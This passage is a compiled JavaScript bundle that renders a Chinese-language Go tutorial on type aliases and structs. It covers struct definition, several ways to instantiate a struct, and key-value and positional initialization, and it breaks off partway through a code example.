d={},c="Go\u8bed\u8a00\u57fa\u7840\u4e4b\u7ed3\u6784\u4f53",l={},a=[{value:"\u7c7b\u578b\u522b\u540d\u548c\u81ea\u5b9a\u4e49\u7c7b\u578b",id:"\u7c7b\u578b\u522b\u540d\u548c\u81ea\u5b9a\u4e49\u7c7b\u578b",level:2},{value:"\u81ea\u5b9a\u4e49\u7c7b\u578b",id:"\u81ea\u5b9a\u4e49\u7c7b\u578b",level:3},{value:"\u7c7b\u578b\u522b\u540d",id:"\u7c7b\u578b\u522b\u540d",level:3},{value:"\u7c7b\u578b\u5b9a\u4e49\u548c\u7c7b\u578b\u522b\u540d\u7684\u533a\u522b",id:"\u7c7b\u578b\u5b9a\u4e49\u548c\u7c7b\u578b\u522b\u540d\u7684\u533a\u522b",level:3},{value:"\u7ed3\u6784\u4f53",id:"\u7ed3\u6784\u4f53",level:2},{value:"\u7ed3\u6784\u4f53\u7684\u5b9a\u4e49",id:"\u7ed3\u6784\u4f53\u7684\u5b9a\u4e49",level:3},{value:"\u7ed3\u6784\u4f53\u5b9e\u4f8b\u5316",id:"\u7ed3\u6784\u4f53\u5b9e\u4f8b\u5316",level:3},{value:"\u57fa\u672c\u5b9e\u4f8b\u5316",id:"\u57fa\u672c\u5b9e\u4f8b\u5316",level:4},{value:"\u533f\u540d\u7ed3\u6784\u4f53",id:"\u533f\u540d\u7ed3\u6784\u4f53",level:4},{value:"\u521b\u5efa\u6307\u9488\u7c7b\u578b\u7ed3\u6784\u4f53",id:"\u521b\u5efa\u6307\u9488\u7c7b\u578b\u7ed3\u6784\u4f53",level:4},{value:"\u53d6\u7ed3\u6784\u4f53\u7684\u5730\u5740\u5b9e\u4f8b\u5316",id:"\u53d6\u7ed3\u6784\u4f53\u7684\u5730\u5740\u5b9e\u4f8b\u5316",level:4},{value:"\u7ed3\u6784\u4f53\u521d\u59cb\u5316",id:"\u7ed3\u6784\u4f53\u521d\u59cb\u5316",level:3},{value:"\u4f7f\u7528\u952e\u503c\u5bf9\u521d\u59cb\u5316",id:"\u4f7f\u7528\u952e\u503c\u5bf9\u521d\u59cb\u5316",level:4},{value:"\u4f7f\u7528\u503c\u7684\u5217\u8868\u521d\u59cb\u5316",id:"\u4f7f\u7528\u503c\u7684\u5217\u8868\u521d\u59cb\u5316",level:4},{value:"\u7ed3\u6784\u4f53\u5185\u5b58\u5e03\u5c40",id:"\u7ed3\u6784\u4f53\u5185\u5b58\u5e03\u5c40",level:3},{value:"\u7a7a\u7ed3\u6784\u4f53",id:"\u7a7a\u7ed3\u6784\u4f53",level:4},{value:"\u9762\u8bd5\u9898",id:"\u9762\u8bd5\u9898",level:3},{value:"\u6784\u9020\u51fd\u6570",id:"\u6784\u9020\u51fd\u6570",level:3},{value:"\u65b9\u6cd5\u548c\u63a5\u6536\u8005",id:"\u65b9\u6cd5\u548c\u63a5\u6536\u8005",level:3},{value:"\u6307\u9488\u7c7b\u578b\u7684\u63a5\u6536\u8005",id:"\u6307\u9488\u7c7b\u578b\u7684\u63a5\u6536\u8005",level:4},{value:"\u503c\u7c7b\u578b\u7684\u63a5\u6536\u8005",id:"\u503c\u7c7b\u578b\u7684\u63a5\u6536\u8005",level:4},{value:"\u4ec0\u4e48\u65f6\u5019\u5e94\u8be5\u4f7f\u7528\u6307\u9488\u7c7b\u578b\u63a5\u6536\u8005",id:"\u4ec0\u4e48\u65f6\u5019\u5e94\u8be5\u4f7f\u7528\u6307\u9488\u7c7b\u578b\u63a5\u6536\u8005",level:4},{value:"\u4efb\u610f\u7c7b\u578b\u6dfb\u52a0\u65b9\u6cd5",id:"\u4efb\u610f\u7c7b\u578b\u6dfb\u52a0\u65b9\u6cd5",level:3},{value:"\u7ed3\u6784\u4f53\u7684\u533f\u540d\u5b57\u6bb5",id:"\u7ed3\u6784\u4f53\u7684\u533f\u540d\u5b57\u6bb5",level:3},{value:"\u5d4c\u5957\u7ed3\u6784\u4f53",id:"\u5d4c\u5957\u7ed3\u6784\u4f53",level:3},{value:"\u5d4c\u5957\u533f\u540d\u5b57\u6bb5",id:"\u5d4c\u5957\u533f\u540d\u5b57\u6bb5",level:4},{value:"\u5d4c\u5957\u7ed3\u6784\u4f53\u7684\u5b57\u6bb5\u540d\u51b2\u7a81",id:"\u5d4c\u5957\u7ed3\u6784\u4f53\u7684\u5b57\u6bb5\u540d\u51b2\u7a81",level:4},{value:"\u7ed3\u6784\u4f53\u7684\u201c\u7ee7\u627f\u201d",id:"\u7ed3\u6784\u4f53\u7684\u7ee7\u627f",level:3},{value:"\u7ed3\u6784\u4f53\u5b57\u6bb5\u7684\u53ef\u89c1\u6027",id:"\u7ed3\u6784\u4f53\u5b57\u6bb5\u7684\u53ef\u89c1\u6027",level:3},{value:"\u7ed3\u6784\u4f53\u4e0eJSON\u5e8f\u5217\u5316",id:"\u7ed3\u6784\u4f53\u4e0ejson\u5e8f\u5217\u5316",level:3},{value:"\u7ed3\u6784\u4f53\u6807\u7b7e\uff08Tag\uff09",id:"\u7ed3\u6784\u4f53\u6807\u7b7etag",level:3},{value:"\u7ed3\u6784\u4f53\u548c\u65b9\u6cd5\u8865\u5145\u77e5\u8bc6\u70b9",id:"\u7ed3\u6784\u4f53\u548c\u65b9\u6cd5\u8865\u5145\u77e5\u8bc6\u70b9",level:3}];function o(n){const e={a:"a",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",ul:"ul",...(0,i.R)(),...n.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(e.header,{children:(0,r.jsx)(e.h1,{id:"go\u8bed\u8a00\u57fa\u7840\u4e4b\u7ed3\u6784\u4f53",children:"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u7ed3\u6784\u4f53"})}),"\n",(0,r.jsx)(e.h2,{id:"\u7c7b\u578b\u522b\u540d\u548c\u81ea\u5b9a\u4e49\u7c7b\u578b",children:"\u7c7b\u578b\u522b\u540d\u548c\u81ea\u5b9a\u4e49\u7c7b\u578b"}),"\n",(0,r.jsx)(e.h3,{id:"\u81ea\u5b9a\u4e49\u7c7b\u578b",children:"\u81ea\u5b9a\u4e49\u7c7b\u578b"}),"\n",(0,r.jsxs)(e.p,{children:["\u5728Go\u8bed\u8a00\u4e2d\u6709\u4e00\u4e9b\u57fa\u672c\u7684\u6570\u636e\u7c7b\u578b\uff0c\u5982",(0,r.jsx)(e.code,{children:"string"}),"\u3001",(0,r.jsx)(e.code,{children:"\u6574\u578b"}),"\u3001",(0,r.jsx)(e.code,{children:"\u6d6e\u70b9\u578b"}),"\u3001",(0,r.jsx)(e.code,{children:"\u5e03\u5c14"}),"\u7b49\u6570\u636e\u7c7b\u578b\uff0c Go\u8bed\u8a00\u4e2d\u53ef\u4ee5\u4f7f\u7528",(0,r.jsx)(e.code,{children:"type"}),"\u5173\u952e\u5b57\u6765\u5b9a\u4e49\u81ea\u5b9a\u4e49\u7c7b\u578b\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u81ea\u5b9a\u4e49\u7c7b\u578b\u662f\u5b9a\u4e49\u4e86\u4e00\u4e2a\u5168\u65b0\u7684\u7c7b\u578b\u3002\u6211\u4eec\u53ef\u4ee5\u57fa\u4e8e\u5185\u7f6e\u7684\u57fa\u672c\u7c7b\u578b\u5b9a\u4e49\uff0c\u4e5f\u53ef\u4ee5\u901a\u8fc7struct\u5b9a\u4e49\u3002\u4f8b\u5982\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"//\u5c06MyInt\u5b9a\u4e49\u4e3aint\u7c7b\u578b\ntype MyInt int\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u901a\u8fc7",(0,r.jsx)(e.code,{children:"type"}),"\u5173\u952e\u5b57\u7684\u5b9a\u4e49\uff0c",(0,r.jsx)(e.code,{children:"MyInt"}),"\u5c31\u662f\u4e00\u79cd\u65b0\u7684\u7c7b\u578b\uff0c\u5b83\u5177\u6709",(0,r.jsx)(e.code,{children:"int"}),"\u7684\u7279\u6027\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"\u7c7b\u578b\u522b\u540d",children:"\u7c7b\u578b\u522b\u540d"}),"\n",(0,r.jsxs)(e.p,{children:["\u7c7b\u578b\u522b\u540d\u662f",(0,r.jsx)(e.code,{children:"Go1.9"}),"\u7248\u672c\u6dfb\u52a0\u7684\u65b0\u529f\u80fd\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u7c7b\u578b\u522b\u540d\u89c4\u5b9a\uff1aTypeAlias\u53ea\u662fType\u7684\u522b\u540d\uff0c\u672c\u8d28\u4e0aTypeAlias\u4e0eType\u662f\u540c\u4e00\u4e2a\u7c7b\u578b\u3002\u5c31\u50cf\u4e00\u4e2a\u5b69\u5b50\u5c0f\u65f6\u5019\u6709\u5c0f\u540d\u3001\u4e73\u540d\uff0c\u4e0a\u5b66\u540e\u7528\u5b66\u540d\uff0c\u82f1\u8bed\u8001\u5e08\u53c8\u4f1a\u7ed9\u4ed6\u8d77\u82f1\u6587\u540d\uff0c\u4f46\u8fd9\u4e9b\u540d\u5b57\u90fd\u6307\u7684\u662f\u4ed6\u672c\u4eba\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"type TypeAlias = Type\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u6211\u4eec\u4e4b\u524d\u89c1\u8fc7\u7684",(0,r.jsx)(e.code,{children:"rune"}),"\u548c",(0,r.jsx)(e.code,{children:"byte"}),"\u5c31\u662f\u7c7b\u578b\u522b\u540d\uff0c\u4ed6\u4eec\u7684\u5b9a\u4e49\u5982\u4e0b\uff1a"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"type byte = uint8\ntype rune = int32\n"})}),"\n",(0,r.jsx)(e.h3,{id:"\u7c7b\u578b\u5b9a\u4e49\u548c\u7c7b\u578b\u522b\u540d\u7684\u533a\u522b",children:"\u7c7b\u578b\u5b9a\u4e49\u548c\u7c7b\u578b\u522b\u540d\u7684\u533a\u522b"}),"\n",(0,r.jsx)(e.p,{children:"\u7c7b\u578b\u522b\u540d\u4e0e\u7c7b\u578b\u5b9a\u4e49\u8868\u9762\u4e0a\u770b\u53ea\u6709\u4e00\u4e2a\u7b49\u53f7\u7684\u5dee\u5f02\uff0c\u6211\u4eec\u901a\u8fc7\u4e0b\u9762\u7684\u8fd9\u6bb5\u4ee3\u7801\u6765\u7406\u89e3\u5b83\u4eec\u4e4b\u95f4\u7684\u533a\u522b\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'//\u7c7b\u578b\u5b9a\u4e49\ntype NewInt int\n\n//\u7c7b\u578b\u522b\u540d\ntype MyInt = int\n\nfunc main() {\n\tvar a NewInt\n\tvar b MyInt\n\t\n\tfmt.Printf("type of a:%T\\n", a) //type of a:main.NewInt\n\tfmt.Printf("type of b:%T\\n", b) //type of b:int\n}\n'})}),"\n",(0,r.jsxs)(e.p,{children:["\u7ed3\u679c\u663e\u793aa\u7684\u7c7b\u578b\u662f",(0,r.jsx)(e.code,{children:"main.NewInt"}),"\uff0c\u8868\u793amain\u5305\u4e0b\u5b9a\u4e49\u7684",(0,r.jsx)(e.code,{children:"NewInt"}),"\u7c7b\u578b\u3002b\u7684\u7c7b\u578b\u662f",(0,r.jsx)(e.code,{children:"int"}),"\u3002",(0,r.jsx)(e.code,{children:"MyInt"}),"\u7c7b\u578b\u53ea\u4f1a\u5728\u4ee3\u7801\u4e2d\u5b58\u5728\uff0c\u7f16\u8bd1\u5b8c\u6210\u65f6\u5e76\u4e0d\u4f1a\u6709",(0,r.jsx)(e.code,{children:"MyInt"}),"\u7c7b\u578b\u3002"]}),"\n",(0,r.jsx)(e.h2,{id:"\u7ed3\u6784\u4f53",children:"\u7ed3\u6784\u4f53"}),"\n",(0,r.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u7684\u57fa\u7840\u6570\u636e\u7c7b\u578b\u53ef\u4ee5\u8868\u793a\u4e00\u4e9b\u4e8b\u7269\u7684\u57fa\u672c\u5c5e\u6027\uff0c\u4f46\u662f\u5f53\u6211\u4eec\u60f3\u8868\u8fbe\u4e00\u4e2a\u4e8b\u7269\u7684\u5168\u90e8\u6216\u90e8\u5206\u5c5e\u6027\u65f6\uff0c\u8fd9\u65f6\u5019\u518d\u7528\u5355\u4e00\u7684\u57fa\u672c\u6570\u636e\u7c7b\u578b\u660e\u663e\u5c31\u65e0\u6cd5\u6ee1\u8db3\u9700\u6c42\u4e86\uff0cGo\u8bed\u8a00\u63d0\u4f9b\u4e86\u4e00\u79cd\u81ea\u5b9a\u4e49\u6570\u636e\u7c7b\u578b\uff0c\u53ef\u4ee5\u5c01\u88c5\u591a\u4e2a\u57fa\u672c\u6570\u636e\u7c7b\u578b\uff0c\u8fd9\u79cd\u6570\u636e\u7c7b\u578b\u53eb\u7ed3\u6784\u4f53\uff0c\u82f1\u6587\u540d\u79f0",(0,r.jsx)(e.code,{children:"struct"}),"\u3002 \u4e5f\u5c31\u662f\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7",(0,r.jsx)(e.code,{children:"struct"}),"\u6765\u5b9a\u4e49\u81ea\u5df1\u7684\u7c7b\u578b\u4e86\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u901a\u8fc7",(0,r.jsx)(e.code,{children:"struct"}),"\u6765\u5b9e\u73b0\u9762\u5411\u5bf9\u8c61\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"\u7ed3\u6784\u4f53\u7684\u5b9a\u4e49",children:"\u7ed3\u6784\u4f53\u7684\u5b9a\u4e49"}),"\n",(0,r.jsxs)(e.p,{children:["\u4f7f\u7528",(0,r.jsx)(e.code,{children:"type"}),"\u548c",(0,r.jsx)(e.code,{children:"struct"}),"\u5173\u952e\u5b57\u6765\u5b9a\u4e49\u7ed3\u6784\u4f53\uff0c\u5177\u4f53\u4ee3\u7801\u683c\u5f0f\u5982\u4e0b\uff1a"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"type \u7c7b\u578b\u540d struct {\n \u5b57\u6bb5\u540d \u5b57\u6bb5\u7c7b\u578b\n \u5b57\u6bb5\u540d \u5b57\u6bb5\u7c7b\u578b\n \u2026\n}\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u7c7b\u578b\u540d\uff1a\u6807\u8bc6\u81ea\u5b9a\u4e49\u7ed3\u6784\u4f53\u7684\u540d\u79f0\uff0c\u5728\u540c\u4e00\u4e2a\u5305\u5185\u4e0d\u80fd\u91cd\u590d\u3002"}),"\n",(0,r.jsx)(e.li,{children:"\u5b57\u6bb5\u540d\uff1a\u8868\u793a\u7ed3\u6784\u4f53\u5b57\u6bb5\u540d\u3002\u7ed3\u6784\u4f53\u4e2d\u7684\u5b57\u6bb5\u540d\u5fc5\u987b\u552f\u4e00\u3002"}),"\n",(0,r.jsx)(e.li,{children:"\u5b57\u6bb5\u7c7b\u578b\uff1a\u8868\u793a\u7ed3\u6784\u4f53\u5b57\u6bb5\u7684\u5177\u4f53\u7c7b\u578b\u3002"}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["\u4e3e\u4e2a\u4f8b\u5b50\uff0c\u6211\u4eec\u5b9a\u4e49\u4e00\u4e2a",(0,r.jsx)(e.code,{children:"Person"}),"\uff08\u4eba\uff09\u7ed3\u6784\u4f53\uff0c\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"type person struct {\n\tname string\n\tcity string\n\tage int8\n}\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u540c\u6837\u7c7b\u578b\u7684\u5b57\u6bb5\u4e5f\u53ef\u4ee5\u5199\u5728\u4e00\u884c\uff0c"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"type person1 struct {\n\tname, city string\n\tage int8\n}\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u6837\u6211\u4eec\u5c31\u62e5\u6709\u4e86\u4e00\u4e2a",(0,r.jsx)(e.code,{children:"person"}),"\u7684\u81ea\u5b9a\u4e49\u7c7b\u578b\uff0c\u5b83\u6709",(0,r.jsx)(e.code,{children:"name"}),"\u3001",(0,r.jsx)(e.code,{children:"city"}),"\u3001",(0,r.jsx)(e.code,{children:"age"}),"\u4e09\u4e2a\u5b57\u6bb5\uff0c\u5206\u522b\u8868\u793a\u59d3\u540d\u3001\u57ce\u5e02\u548c\u5e74\u9f84\u3002\u8fd9\u6837\u6211\u4eec\u4f7f\u7528\u8fd9\u4e2a",(0,r.jsx)(e.code,{children:"person"}),"\u7ed3\u6784\u4f53\u5c31\u80fd\u591f\u5f88\u65b9\u4fbf\u7684\u5728\u7a0b\u5e8f\u4e2d\u8868\u793a\u548c\u5b58\u50a8\u4eba\u4fe1\u606f\u4e86\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u8bed\u8a00\u5185\u7f6e\u7684\u57fa\u7840\u6570\u636e\u7c7b\u578b\u662f\u7528\u6765\u63cf\u8ff0\u4e00\u4e2a\u503c\u7684\uff0c\u800c\u7ed3\u6784\u4f53\u662f\u7528\u6765\u63cf\u8ff0\u4e00\u7ec4\u503c\u7684\u3002\u6bd4\u5982\u4e00\u4e2a\u4eba\u6709\u540d\u5b57\u3001\u5e74\u9f84\u548c\u5c45\u4f4f\u57ce\u5e02\u7b49\uff0c\u672c\u8d28\u4e0a\u662f\u4e00\u79cd\u805a\u5408\u578b\u7684\u6570\u636e\u7c7b\u578b"}),"\n",(0,r.jsx)(e.h3,{id:"\u7ed3\u6784\u4f53\u5b9e\u4f8b\u5316",children:"\u7ed3\u6784\u4f53\u5b9e\u4f8b\u5316"}),"\n",(0,r.jsx)(e.p,{children:"\u53ea\u6709\u5f53\u7ed3\u6784\u4f53\u5b9e\u4f8b\u5316\u65f6\uff0c\u624d\u4f1a\u771f\u6b63\u5730\u5206\u914d\u5185\u5b58\u3002\u4e5f\u5c31\u662f\u5fc5\u987b\u5b9e\u4f8b\u5316\u540e\u624d\u80fd\u4f7f\u7528\u7ed3\u6784\u4f53\u7684\u5b57\u6bb5\u3002"}),"\n",(0,r.jsxs)(e.p,{children:["\u7ed3\u6784\u4f53\u672c\u8eab\u4e5f\u662f\u4e00\u79cd\u7c7b\u578b\uff0c\u6211\u4eec\u53ef\u4ee5\u50cf\u58f0\u660e\u5185\u7f6e\u7c7b\u578b\u4e00\u6837\u4f7f\u7528",(0,r.jsx)(e.code,{children:"var"}),"\u5173\u952e\u5b57\u58f0\u660e\u7ed3\u6784\u4f53\u7c7b\u578b\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"var \u7ed3\u6784\u4f53\u5b9e\u4f8b \u7ed3\u6784\u4f53\u7c7b\u578b\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u57fa\u672c\u5b9e\u4f8b\u5316",children:"\u57fa\u672c\u5b9e\u4f8b\u5316"}),"\n",(0,r.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'type person struct {\n\tname string\n\tcity string\n\tage int8\n}\n\nfunc main() {\n\tvar p1 person\n\tp1.name = "\u6c99\u6cb3\u5a1c\u624e"\n\tp1.city = "\u5317\u4eac"\n\tp1.age = 18\n\tfmt.Printf("p1=%v\\n", p1) //p1={\u6c99\u6cb3\u5a1c\u624e \u5317\u4eac 18}\n\tfmt.Printf("p1=%#v\\n", p1) //p1=main.person{name:"\u6c99\u6cb3\u5a1c\u624e", city:"\u5317\u4eac", age:18}\n}\n'})}),"\n",(0,r.jsxs)(e.p,{children:["\u6211\u4eec\u901a\u8fc7",(0,r.jsx)(e.code,{children:"."}),"\u6765\u8bbf\u95ee\u7ed3\u6784\u4f53\u7684\u5b57\u6bb5\uff08\u6210\u5458\u53d8\u91cf\uff09,\u4f8b\u5982",(0,r.jsx)(e.code,{children:"p1.name"}),"\u548c",(0,r.jsx)(e.code,{children:"p1.age"}),"\u7b49\u3002"]}),"\n",(0,r.jsx)(e.h4,{id:"\u533f\u540d\u7ed3\u6784\u4f53",children:"\u533f\u540d\u7ed3\u6784\u4f53"}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u5b9a\u4e49\u4e00\u4e9b\u4e34\u65f6\u6570\u636e\u7ed3\u6784\u7b49\u573a\u666f\u4e0b\u8fd8\u53ef\u4ee5\u4f7f\u7528\u533f\u540d\u7ed3\u6784\u4f53\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'package main\n \nimport (\n "fmt"\n)\n \nfunc main() {\n var user struct{Name string; Age int}\n user.Name = "\u5c0f\u738b\u5b50"\n user.Age = 18\n fmt.Printf("%#v\\n", user)\n}\n'})}),"\n",(0,r.jsx)(e.h4,{id:"\u521b\u5efa\u6307\u9488\u7c7b\u578b\u7ed3\u6784\u4f53",children:"\u521b\u5efa\u6307\u9488\u7c7b\u578b\u7ed3\u6784\u4f53"}),"\n",(0,r.jsxs)(e.p,{children:["\u6211\u4eec\u8fd8\u53ef\u4ee5\u901a\u8fc7\u4f7f\u7528",(0,r.jsx)(e.code,{children:"new"}),"\u5173\u952e\u5b57\u5bf9\u7ed3\u6784\u4f53\u8fdb\u884c\u5b9e\u4f8b\u5316\uff0c\u5f97\u5230\u7684\u662f\u7ed3\u6784\u4f53\u7684\u5730\u5740\u3002 \u683c\u5f0f\u5982\u4e0b\uff1a"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'var p2 = new(person)\nfmt.Printf("%T\\n", p2) //*main.person\nfmt.Printf("p2=%#v\\n", p2) //p2=&main.person{name:"", city:"", age:0}\n'})}),"\n",(0,r.jsxs)(e.p,{children:["\u4ece\u6253\u5370\u7684\u7ed3\u679c\u4e2d\u6211\u4eec\u53ef\u4ee5\u770b\u51fa",(0,r.jsx)(e.code,{children:"p2"}),"\u662f\u4e00\u4e2a\u7ed3\u6784\u4f53\u6307\u9488\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u9700\u8981\u6ce8\u610f\u7684\u662f\u5728Go\u8bed\u8a00\u4e2d\u652f\u6301\u5bf9\u7ed3\u6784\u4f53\u6307\u9488\u76f4\u63a5\u4f7f\u7528",(0,r.jsx)(e.code,{children:"."}),"\u6765\u8bbf\u95ee\u7ed3\u6784\u4f53\u7684\u6210\u5458\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'var p2 = new(person)\np2.name = "\u5c0f\u738b\u5b50"\np2.age = 28\np2.city = "\u4e0a\u6d77"\nfmt.Printf("p2=%#v\\n", p2) //p2=&main.person{name:"\u5c0f\u738b\u5b50", city:"\u4e0a\u6d77", age:28}\n'})}),"\n",(0,r.jsx)(e.h4,{id:"\u53d6\u7ed3\u6784\u4f53\u7684\u5730\u5740\u5b9e\u4f8b\u5316",children:"\u53d6\u7ed3\u6784\u4f53\u7684\u5730\u5740\u5b9e\u4f8b\u5316"}),"\n",(0,r.jsxs)(e.p,{children:["\u4f7f\u7528",(0,r.jsx)(e.code,{children:"&"}),"\u5bf9\u7ed3\u6784\u4f53\u8fdb\u884c\u53d6\u5730\u5740\u64cd\u4f5c\u76f8\u5f53\u4e8e\u5bf9\u8be5\u7ed3\u6784\u4f53\u7c7b\u578b\u8fdb\u884c\u4e86\u4e00\u6b21",(0,r.jsx)(e.code,{children:"new"}),"\u5b9e\u4f8b\u5316\u64cd\u4f5c\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'p3 := &person{}\nfmt.Printf("%T\\n", p3) //*main.person\nfmt.Printf("p3=%#v\\n", p3) //p3=&main.person{name:"", city:"", age:0}\np3.name = "\u4e03\u7c73"\np3.age = 30\np3.city = "\u6210\u90fd"\nfmt.Printf("p3=%#v\\n", p3) //p3=&main.person{name:"\u4e03\u7c73", city:"\u6210\u90fd", age:30}\n'})}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:'p3.name = "\u4e03\u7c73"'}),"\u5176\u5b9e\u5728\u5e95\u5c42\u662f",(0,r.jsx)(e.code,{children:'(*p3).name = "\u4e03\u7c73"'}),"\uff0c\u8fd9\u662fGo\u8bed\u8a00\u5e2e\u6211\u4eec\u5b9e\u73b0\u7684\u8bed\u6cd5\u7cd6\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"\u7ed3\u6784\u4f53\u521d\u59cb\u5316",children:"\u7ed3\u6784\u4f53\u521d\u59cb\u5316"}),"\n",(0,r.jsx)(e.p,{children:"\u6ca1\u6709\u521d\u59cb\u5316\u7684\u7ed3\u6784\u4f53\uff0c\u5176\u6210\u5458\u53d8\u91cf\u90fd\u662f\u5bf9\u5e94\u5176\u7c7b\u578b\u7684\u96f6\u503c\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'type person struct {\n\tname string\n\tcity string\n\tage int8\n}\n\nfunc main() {\n\tvar p4 person\n\tfmt.Printf("p4=%#v\\n", p4) //p4=main.person{name:"", city:"", age:0}\n}\n'})}),"\n",(0,r.jsx)(e.h4,{id:"\u4f7f\u7528\u952e\u503c\u5bf9\u521d\u59cb\u5316",children:"\u4f7f\u7528\u952e\u503c\u5bf9\u521d\u59cb\u5316"}),"\n",(0,r.jsx)(e.p,{children:"\u4f7f\u7528\u952e\u503c\u5bf9\u5bf9\u7ed3\u6784\u4f53\u8fdb\u884c\u521d\u59cb\u5316\u65f6\uff0c\u952e\u5bf9\u5e94\u7ed3\u6784\u4f53\u7684\u5b57\u6bb5\uff0c\u503c\u5bf9\u5e94\u8be5\u5b57\u6bb5\u7684\u521d\u59cb\u503c\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'p5 := person{\n\tname: "\u5c0f\u738b\u5b50",\n\tcity: "\u5317\u4eac",\n\tage: 18,\n}\nfmt.Printf("p5=%#v\\n", p5) //p5=main.person{name:"\u5c0f\u738b\u5b50", city:"\u5317\u4eac", age:18}\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u4e5f\u53ef\u4ee5\u5bf9\u7ed3\u6784\u4f53\u6307\u9488\u8fdb\u884c\u952e\u503c\u5bf9\u521d\u59cb\u5316\uff0c\u4f8b\u5982\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'p6 := &person{\n\tname: "\u5c0f\u738b\u5b50",\n\tcity: "\u5317\u4eac",\n\tage: 18,\n}\nfmt.Printf("p6=%#v\\n", p6) //p6=&main.person{name:"\u5c0f\u738b\u5b50", city:"\u5317\u4eac", age:18}\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u5f53\u67d0\u4e9b\u5b57\u6bb5\u6ca1\u6709\u521d\u59cb\u503c\u7684\u65f6\u5019\uff0c\u8be5\u5b57\u6bb5\u53ef\u4ee5\u4e0d\u5199\u3002\u6b64\u65f6\uff0c\u6ca1\u6709\u6307\u5b9a\u521d\u59cb\u503c\u7684\u5b57\u6bb5\u7684\u503c\u5c31\u662f\u8be5\u5b57\u6bb5\u7c7b\u578b\u7684\u96f6\u503c\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'p7 := &person{\n\tcity: "\u5317\u4eac",\n}\nfmt.Printf("p7=%#v\\n", p7) //p7=&main.person{name:"", city:"\u5317\u4eac", age:0}\n'})}),"\n",(0,r.jsx)(e.h4,{id:"\u4f7f\u7528\u503c\u7684\u5217\u8868\u521d\u59cb\u5316",children:"\u4f7f\u7528\u503c\u7684\u5217\u8868\u521d\u59cb\u5316"}),"\n",(0,r.jsx)(e.p,{children:"\u521d\u59cb\u5316\u7ed3\u6784\u4f53\u7684\u65f6\u5019\u53ef\u4ee5\u7b80\u5199\uff0c\u4e5f\u5c31\u662f\u521d\u59cb\u5316\u7684\u65f6\u5019\u4e0d\u5199\u952e\uff0c\u76f4\u63a5\u5199\u503c\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'p8 := &person{\n\t"\u6c99\u6cb3\u5a1c\u624e",\n\t"\u5317\u4eac",\n\t28,\n}\nfmt.Printf("p8=%#v\\n", p8) //p8=&main.person{name:"\u6c99\u6cb3\u5a1c\u624e", city:"\u5317\u4eac", 